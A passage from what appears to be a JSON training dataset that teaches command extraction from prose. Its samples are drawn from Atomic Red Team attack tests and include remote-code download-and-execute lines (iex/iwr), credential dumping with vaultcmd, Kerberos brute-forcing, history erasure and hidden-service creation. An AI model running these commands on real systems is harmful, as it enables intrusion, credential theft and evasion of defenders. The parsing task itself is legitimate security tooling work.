\"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This module retrieves stored credentials from Windows Credential Manager by executing the command: vaultcmd /listcreds:\"Windows Credentials\" /all",
    "output": "{\"command_list\": [\"vaultcmd /listcreds:\\\"Windows Credentials\\\" /all\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can disable remote desktop connections by executing this registry modification command: reg add \"HKLM\\System\\CurrentControlSet\\Control\\Terminal Server\" /v fDenyTSConnections /t REG_DWORD /d 1 /f",
    "output": "{\"command_list\": [\"reg add \\\"HKLM\\\\System\\\\CurrentControlSet\\\\Control\\\\Terminal Server\\\" /v fDenyTSConnections /t REG_DWORD /d 1 /f\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    For CentOS/RHEL 7.x Linux systems, you can list the password policy settings with the command: cat /etc/security/pwquality.conf",
    "output": "{\"command_list\": [\"cat /etc/security/pwquality.conf\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following sequence will read username and password combinations and launch a bruteforce attack via the command:\ncd \"PathToAtomicsFolder\\..\\ExternalPayloads\"\n.\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \"PathToAtomicsFolder\\..\\ExternalPayloads\\bruteforce.txt\"",
    "output": "{\"command_list\": [\"cd \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\"\\n.\\\\kerbrute.exe bruteforce --dc #{domaincontroller} -d #{domain} \\\"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\bruteforce.txt\\\"      \\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To obtain a listing of network connections, execute the following commands in sequence: netstat\nnet use\nnet sessions\n",
    "output": "{\"command_list\": [\"netstat\\nnet use\\nnet sessions\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can erase the PowerShell command history by executing this command: Remove-Item (Get-PSReadlineOption).HistorySavePath",
    "output": "{\"command_list\": [\"Remove-Item (Get-PSReadlineOption).HistorySavePath\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    By running the following commands, you can create a service and modify its security descriptor to prevent it from appearing in service enumeration tools:\nsc.exe create #{service_name} binPath= \"#{executable_command}\"\nsc sdset #{service_name} \"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\"",
    "output": "{\"command_list\": [\"sc.exe create #{service_name} binPath= \\\"#{executable_command}\\\"\\nsc sdset #{service_name} \\\"D:(D;;DCLCWPDTSD;;;IU)(D;;DCLCWPDTSD;;;SU)(D;;DCLCWPDTSD;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)\\\"\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To inject and execute shellcode in a new process, particularly designed for x86-64 Windows 10 machines, use this command: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\" -UseBasicParsing)\nInvoke-Maldoc -macroFile \"#{txt_path}\" -officeProduct \"Word\" -sub \"Execute\"",
    "output": "{\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\nIEX (iwr \\\"https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1204.002/src/Invoke-MalDoc.ps1\\\" -UseBasicParsing)\\nInvoke-Maldoc -macroFile \\\"#{txt_path}\\\" -officeProduct \\\"Word\\\" -sub \\\"Execute\\\"\\n\"]}"
  },
  {
